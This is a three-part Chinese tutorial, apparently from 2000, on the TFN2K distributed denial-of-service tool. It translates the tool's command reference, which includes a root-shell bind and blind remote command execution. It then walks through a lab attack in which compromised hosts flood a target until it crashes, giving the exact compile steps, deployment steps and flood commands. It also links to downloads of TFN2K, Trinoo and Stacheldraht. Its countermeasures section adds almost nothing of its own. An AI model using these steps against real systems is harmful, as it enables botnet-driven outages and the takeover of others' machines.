GB | BIG5
|
| 首頁 > 安全技術 > 工具 > 正文 |
 |
| tfn2k使用方法和對策 |
| http://jjgirl.yeah.net jjgirl翻譯整理 (2001-04-19 13:23:06) |
tfn2k使用方法和對策(1)
今年年初,一些黑客使用DDoS向Yahoo,eBay等名站點發起攻擊,並且使yahoo癱瘓。1999.10月ISS就預言DDoS將成為2000年最流行的攻擊手法。國內近期也發生了許多DDoS事件。佳佳剛考完Toefl可以清閑幾天,是就整理一下幾個名工具的代碼,匯報被大家。
這裡佳佳主要介紹tfn2k,因為它最名嘛!主要分為使用說明,攻擊實例,程序分析,防范手段等幾部分。
簡介:
TFN被認為是當今功能最強性能最好的DoS攻擊工具,幾乎不可能被察覺。作者發布這個工具的出發點是什呢?作者向你保証它不會傷害公司或個人。但是它會嚇一嚇那些不關心系統安全的人,因為現在精密的工具被不斷改善,並且被私人持有,他們許多都是不可預測的。現在是每一個人都清醒的時候了,每一個人都應該意識到假如他不足夠關心他的安全問題,最壞的情形就會發生。
因此這個程序被設計成大多數的操作系統可以編譯,以表明現在的操作系統沒有特別安全的,包括Windows,Solaris,Linux及其他各種unix.
特點描述:
TFN使用了分布式客戶服務器功能,加密技術及其它類的功能,它能被用控制任意數量的遠程機器,以產生隨機匿名的拒絕服務攻擊和遠程訪問。
此版本的新特點包括:
1。功能性增加:
為分布式執行控制的遠程單路命令執行
對軟弱路由器的混合攻擊
對有IP棧弱點的系統發動Targa3攻擊
對許多unix系統和WinNT的兼容性。
2。匿名秘密的客戶服務器通訊使用:
假的源地址
高級加密
單路通訊協議
通過隨機IP協議發送消息
誘騙包
編譯:
在編譯之前,先要編輯src/makefile文件修改選項符合你的操作系統。建議你看一下src/config.h然修改一些重要的缺省值。
一旦你開始編譯,你會被提示輸入一個8--32位的服務器密碼。如果你使用REQUIRE_PASS類型編譯,在使用客戶端時你必須輸入這個密碼。
安裝:
TFN服務器端被安裝運行主機,身份是root(或euid root)。
它將用自己的方式提交系統配置的改變,是如果系統重啟你也得重啟。一旦服務器端被安裝,你就可以把主機名加入你的列表了(當然你也可以聯系單個的服務器端)。TFN的客戶端可以運行在shell(root)和Windows命令行(管理員權限需要在NT上).
使用客戶端:
客戶端用聯系服務器端,可以改變服務器端的配置,衍生一個shell,控制攻擊許多其它的機器。你可以tfn -f file從一個主機名文件讀取主機名,也可以使用tfn -h hostname聯系一個服務器端。
缺省的命令是通過殺死所有的子線程停止攻擊。命令一般用-c .
請看下面的命令行描述。 選項-i需要給命令一個值,分析目標主機字符串,這個目標主機字符串缺省用分界符@。
當使用smurf flood時,只有第一個是被攻擊主機,其余被用直接廣播。
ID 1 -反欺騙級:服務器產生的DoS攻擊總是來源虛假的源地址。通過這個命令,你可以控制IP地址的哪些部分是虛假的,哪些部分是真實的IP。
ID 2 -改變包尺寸:缺省的ICMP/8,smurf,udp攻擊缺省使用最小包。你可以通過改變每個包的有效載荷的字節增加它的大小。
ID 3 - 綁定root shell:啟動一個會話服務,然你連接一個指定端口就可以得到一個root shell。
ID 4 - UDP flood 攻擊:這個攻擊是利用這樣一個事實:每個udp包被送往一個關閉的端口,這樣就會有一個ICMP不可到達的信息返回,增加了攻擊的能力。
ID5 - SYN flood 攻擊:這個攻擊有規律的送虛假的連接請求。結果會是目標端口拒絕服務,添瞞TCP連接表,通過對不存在主機的TCP/RST響應增加攻擊潛力。
ID 6 - ICMP響應(ping)攻擊:這個攻擊發送虛假地址的ping請求,目標主機會回送相同大小的響應包。
ID 7 - SMURF 攻擊:用目標主機的地址發送ping請求以廣播擴大,這樣目標主機將得到回復一個多倍的回復。
ID 8 - MIX攻擊:按照1:1:1的關系交替的發送udp,syn,icmp包,這樣就可以對付路由器,其它包轉發設備,NIDS,sniffers等。
ID 9 -TARGA3攻擊
ID 10 - 遠程命令執行:給予單路在服務器上執行大量遠程命令的機會。更復雜的用法請看4.1節。
更多的選項請看命令行幫助。
使用tfn用分布式任務
Using TFN for other distributed tasks
依照CERT的安全報告,新版本的DDOS工具包含一個最新流行的特點:軟件的自我更新。
TFN也有這個功能,作者並沒有顯式的包含這個功能。在ID 10遠程執行命令中給予用戶在任意數量遠程主機上以批處理的形式執行同樣shell命令的能力。這同時也証明了一個問題:DDOS等類似的分布式網絡工具不僅僅簡單的用拒絕服務,還可以做許多實際的事情。
使用方法:
usage: ./tfn
[-P protocol] Protocol for server communication. Can be ICMP, UDP or TCP.
Uses a random protocol as default
[-D n] Send out n bogus requests for each real one to decoy targets
[-S host/ip] Specify your source IP. Randomly spoofed by default, you need
to use your real IP if you are behind spoof-filtering routers
[-f hostlist] Filename containing a list of hosts with TFN servers to contact
[-h hostname] To contact only a single host running a TFN server
[-i target string] Contains options/targets separated by '@', see below
[-p port] A TCP destination port can be specified for SYN floods
<-c command ID> 0 - Halt all current floods on server(s) immediately
1 - Change IP antispoof-level (evade rfc2267 filtering)
usage: -i 0 (fully spoofed) to -i 3 (/24 host bytes spoofed)
2 - Change Packet size, usage: -i
3 - Bind root shell to a port, usage: -i
4 - UDP flood, usage: -i victim@victim2@victim3@...
5 - TCP/SYN flood, usage: -i victim@... [-p destination port]
6 - ICMP/PING flood, usage: -i victim@...
7 - ICMP/SMURF flood, usage: -i victim@broadcast@broadcast2@...
8 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim@...
9 - TARGA3 flood (IP stack penetration), usage: -i victim@...
10 - Blindly execute remote shell command, usage -i command
看到這裡,你是不是有許多不明白,這上面只是佳佳把原作者(mixter)的使用說明大致翻譯了一下,一些東西,象新特點呀,新增功能呀,知不知道無所謂啦!以再看吧!
下一篇文章呢,佳佳會給出一次詳細的攻擊過程,是佳佳在Linux上測試的。可是重點的重點啊!等著吧。。。
jjgirl 10.24.2000
jjgirl@363.net
http://jjgirl.yeah.net
對了,補充一點。下載地址:http://packetstorm.securify.com/groups/mixter/tfn.tgz
tfn2k使用方法和對策(2)
jjgirl
--------------------------------------------------------------------------------
佳佳繼續上一次的文章,這一次是攻擊測試。
測試環境:
共有5台機器,佳佳是在五台redhat linux6.2上測試的。
192.168.111.1
192.168.111.2
192.168.111.3
192.168.111.55
192.168.111.88
測試目的:?????(感受一下yahoo怎被攻擊的)
簡要介紹:
我們的測試目的是用192.168.111.55指揮192.168.111.1,192.168.111.2,192.168.111.3
三台機器對192.168.111.88發動攻擊。(實際攻擊中就不止三台了。)
因此我們的步驟如下:
0。黑客攻擊時事先要控制192.168.111.1,192.168.111.2,192.168.111.3,192.168.111.55這四台機器。也就是我們俗稱的“肉雞”。
1。編譯代碼。
2。在192.168.111.1,192.168.111.2,192.168.111.3上安裝td。
3。在192.168.111.55安裝tfn。
4。由192.168.111.55指揮192.168.111.1,192.168.111.2,192.168.111.3
對192.168.111.88發動攻擊。
5。攻擊結束。
詳細步驟:
0。黑客攻擊時事先要控制192.168.111.1,192.168.111.2,192.168.111.3,192.168.111.55這四台機器。
這一步我就不說了,大家一定有辦法。。。
1。編譯代碼。
假設在192.168.112.55上。。。
首先一定要有root權限
$su
#
解開文件:
#tar zxvf tfn2k.tgz
#cd tfn2k
如果你不是linux或者bsd請修改src下的Makefile文件。(有一網友問佳佳,solaris為什不行。如果你修改了Makefile,把linux改成了solaris仍然不行,佳佳也不知道了,因為佳佳沒有solaris的測試環境。)
#make
make過程中會讓你輸入一個密碼,8--32位的。那就輸入一個吧,將來tfn和td聯系時需要這個密碼。我輸入的是:aaaabbbb
make完成你會發現,多了兩個可執行文件:tfn,td
2。在192.168.111.1,192.168.111.2,192.168.111.3上安裝td。
#ftp 192.168.111.1
ftp>bin
fpt>put td
ftp>by
ftp的具體步驟我就不說了,大家一定都知道。
同樣方法:ftp 192.168.111.2
ftp 192.168.111.3
然在分別在192.168.111.1,192.168.111.2,192.168.111.3上
#./td
注意一定要有root權限,否則無法運行。
3。在192.168.111.55安裝tfn。
由我們是在192.168.111.55上編譯的,tfn就已經在了。
4。由192.168.111.55指揮192.168.111.1,192.168.111.2,192.168.111.3對192.168.111.88發動攻擊。
好了,我們終完成了準備工作,攻擊可以開始了。。。
我現在在192.168.111.55的/tfn2k/目錄下。。。
我們需要編輯一個文件列表。
#vi hosts.txt
文件第一行輸入:192.168.111.1
文件第二行輸入:192.168.111.2
文件第三行輸入:192.168.111.3
這就是控制文件列表。
然我們測試一下連接。
在192.168.111.55上。。。
下面的命令意思是:在hosts.txt文件中的機器上執行遠程命令“mkdir jjgirl”,其中-c 10表示執行遠程命令。執行完這個命令就會在那三台機器上都建立jjgirl目錄。當然你可以隨便執行其他的命令。
#./tfn -f hosts.txt -c 10 -i "mkdir jjgirl"
Protocol : random
Source IP : random
Client input : list
Command : execute remote command
Password verification: (這時我們輸入密碼:aaaabbbb)
Sending out packets: .
好了,完成。
然我們在192.168.111.1上執行:
#find / -name jjgirl -print
好,找到了。說明我們連接成功。。。
下面開始正式攻擊了。。。
你可以在192.168.111.1上:
#./ntop
運行ntop查看流量。
先來ICMP攻擊
#./tfn -f hosts.txt -c 6 -i 192.168.111.88(十分鐘,192.168.111.88就死機了)
重啟,接著測試。。。
SYN/TCP攻擊:
#./tfn -f hosts.txt -c 5 -i 192.168.111.88 -p 80
UDP攻擊:
#./tfn -f hosts.txt -c 4 -i 192.168.111.88
ICMP/TCP/UDP輪流攻擊:
#./tfn -f hosts.txt -c 8 -i 192.168.111.88
5。攻擊結束
如果我們想停止攻擊:
#./tfn -f host.txt -c 0
實際tfn還有許多攻擊選項,大家可以再回頭看我的第一篇文章,看一下-c面的11個選項。
整個測試結束。由我是在局域網測試速度比較快。實際對yahoo等攻擊時至少有幾十台機器吧。
好了,下一篇文章主要分析tfn的源代碼,有興趣的同學接著等。。。
jjgirl 10.29.2000
jjgirl@363.net
http://jjgirl.yeah.net
下載地址:
http://darknet.evilnerds.org/dos/ddos/tfn2k.tgz
tfn2k使用方法和對策(3)
jjgirl
--------------------------------------------------------------------------------
本來想再分兩次寫完本文,來發現佳佳要翻譯的兩篇文章
http://packetstorm.securify.com/distributed/TFN2k_Analysis-1.3.txt
http://packetstorm.securify.com/distributed/tfn.analysis.txt
backend已經翻譯過(本文最給出了鏈接),佳佳就不做太多重復勞動了。
先介紹一下DDoS攻擊的原理:
DDoS把DoS又向前發展了一步,DDoS的行為更為自動化,它可以方便地協調從多台計算機上啟動的進程,讓一股DoS洪流沖擊網絡,並使網絡因過載而崩潰。確切地講,DDoS攻擊是指在不同的高帶寬主機上安裝大量的DoS服務程序,它們等待來自中央客戶端的命令,中央客戶端隨通知全體受控服務程序,並批示它們對一個特定目標發送盡可能多的網絡訪問請求。
對DoS而言,其攻擊方式很多,主要使用的攻擊有4種,分別是TCP-SYN flood,UDP flood,ICMP flood,smurf。
TCP--- 當用戶進行一次標準的TCP連接時,會有一個3次握手過程。首先是請求服務方發送一個SYN消息,服務方收到SYN,會向請求方回送一個SYN-ACK表示確認,當請求方收到SYN-ACK,再次向服務方發送一個ACK消息,這樣,一次TCP連接建立成功。但是TCP-SYN flood在實現過程中只進行前2個步驟:當服務方收到請求方的SYN-ACK確認消息,請求方由採用源地址欺騙等手段使得服務方收不到ACK回應,是,服務方會在一定時間處等待接收請求方ACK消息的狀態。對某台服務器來說,可用的TCP連接是有限的,如果惡意攻擊方快速連續地發送此類連接請求,該服務器可用的TCP連接隊列將很快被阻塞,系統可用資源急劇減少,網絡可用帶寬迅速縮小,長此下去,網絡將無法向用戶提供正常的服務。
UDP---- 由UDP(用戶數據包協議)在網絡中的應用比較廣泛,基UDP攻擊種類也較多。如今在Internet上提供WWW和Mail等服務設備通常是使用Unix的服務器,它們默認一些被惡意利用的UDP服務,如echo和chargen服務,它會顯示接收到的每一個數據包,而原本作為測試功能的chargen服務會在收到每一個數據包時隨機反饋一些字符,如果惡意攻擊者將這2個UDP服務互指,則網絡可用帶寬將很快耗盡。
ICMP----由在早期的階段,路由器對包的最大尺寸都有限制,許多操作系統對TCP/IP棧的實現在ICMP包上都是規定64KB,並且在對包的標題頭進行讀取之,要根據該標題頭裡包含的信息來為有效載荷生成緩沖區,當產生畸形的,聲稱自己的尺寸超過ICMP上限的包也就是加載的尺寸超過64K上限時,就會出現內存分配錯誤,導致TCP/IP堆棧崩潰,致使接受方當機。如果對方的操作系統已經可以防御堆棧崩潰,也佔去許多帶寬。
Smurf----一個簡單的smurf攻擊通過使用將回復地址設置成受害網絡的廣播地址的ICMP應答請求(ping)數據包來淹沒受害主機的方式進行,最終導致該網絡的所有主機都對此ICMP應答請求作出答復,導致網絡阻塞,比ping of death洪水的流量高出一或兩個數量級。更加復雜的Smurf將源地址改為第三方的受害者,最終導致第三方雪崩。
tfn2k的程序及分析:
在你執行
$tar zxvf tfn2k.tgz
以
在src目錄下就是源文件,
其中主要的兩個文件就是tfn.c和td.c
你可以看一下Makefile文件
SERVER_OBJ = pass.o aes.o base64.o cast.o flood.o ip.o process.o tribe.o td.o
CLIENT_OBJ = pass.o aes.o base64.o cast.o ip.o tribe.o tfn.o
可以看出tfn和td各是由哪些.o鏈接而成的。
tfn.c:
tfn和td的網絡通訊是經過CAST-256算法(RFC 2612)加密,還可能混雜了許多虛假數據包。參看security_through_obscurity()和encode64()等函數。
盡管tfn沒有密碼保護,每一個發送給td的命令都有一個16位二進制形式的數在ICMP_ECHOREPLY包的id域。這個序列號通常是0x0000,這樣看起來更象ping初始包的響應。參看passchk()函數。
tfn_sendto()函數是根據hosts.txt向td發命令。
usage()函數是使用幫助。
td.c:
td的守護程序是完全沉默的,它不會對接收到的命令有任何回應。客戶端重復發送每一個命令20次(RETRY=20),並且認為守護程序應該至少能接收到其中一個。如果沒有接收到需要重新發送,你也可以修改RETRY(tfn.c文件中)的值。
守護進程為每一個攻擊產生子進程(td.c文件中)。
在看td.c文件時有些迷惑,它作為服務器端並沒有綁定固定的端口,來才明白從tfn到td的通訊是通過ICMP_ECHOREPLY數據包完成,這樣在tfn和td就沒有任何基TCP或UDP的通訊了。
td試圖通過修改argv[0]內容以掩飾自己。偽造的進程名在編譯時指定,因此每次安裝時都有可能不同。這個功能使TFN2K偽裝成代理端主機的普通正常進程。只是簡單地檢查進程列表未必能找到td(及其子進程),在你運行
#./td
以,在運行
#ps -af
可能根本就找不到td.(不要以為它沒有運行啊!)。
td.c的tribe_cmd()是根據id(0--10)執行命令,它要調用process.c中的函數。
process.c中的commerce_syn(),commerce_udp(),commerce_icmp(),commerce_mix(),commerce_smurf()等函數就是發動攻擊的具體程序,根據id(0--11)分別對應著tcp,udp,icmp,mix,smurf等攻擊。
防御措施:
見下列鏈接文章,我就不重復了。
其它DDoS工具
1. Trinoo: 它是基UDP flood的攻擊軟件,它向被攻擊目標主機的隨機端口發出全零的4字節UDP包,在處理這些超出其處理能力垃圾數據包的過程中,被攻擊主機的網絡性能不斷下降,直到不能提供正常服務,乃至崩潰,它對IP地址不做假,此攻擊方法用得不如TFN多。
下載地址:http://darknet.evilnerds.org/dos/ddos/trinoo.tar.gz
2. Stacheldraht:對命令來源做假,而且可以防范一些路由器用RFC2267過濾。若檢查出有過濾現象,它將只做假IP地址最8位,從而讓用戶無法了解到底是哪幾個網段的哪台機器被攻擊。此外,它還具有自動更新功能,可隨軟件的更新而自動更新。
下載地址:http://darknet.evilnerds.org/dos/ddos/stachel-yps.tar.gz
關TFN2K的探討就此結束,其實許多前輩都撰文寫過此類的文章。我只是參考他們的文章(中文或英文),並細節化了一些。如果有指教或有問題請來信jjgirl@sina.com或在我的BBS留言。感謝你耐心看完佳佳寫的不怎樣的文章。
jjgirl 11.10.2000
http://jjgirl.yeah.net
(http://www.fanqiang.com)
進入【UNIX論壇】
|
|
| 相關文章 |
|
====== |
|
|
 |
★ 樊強制作 歡迎分享 ★ |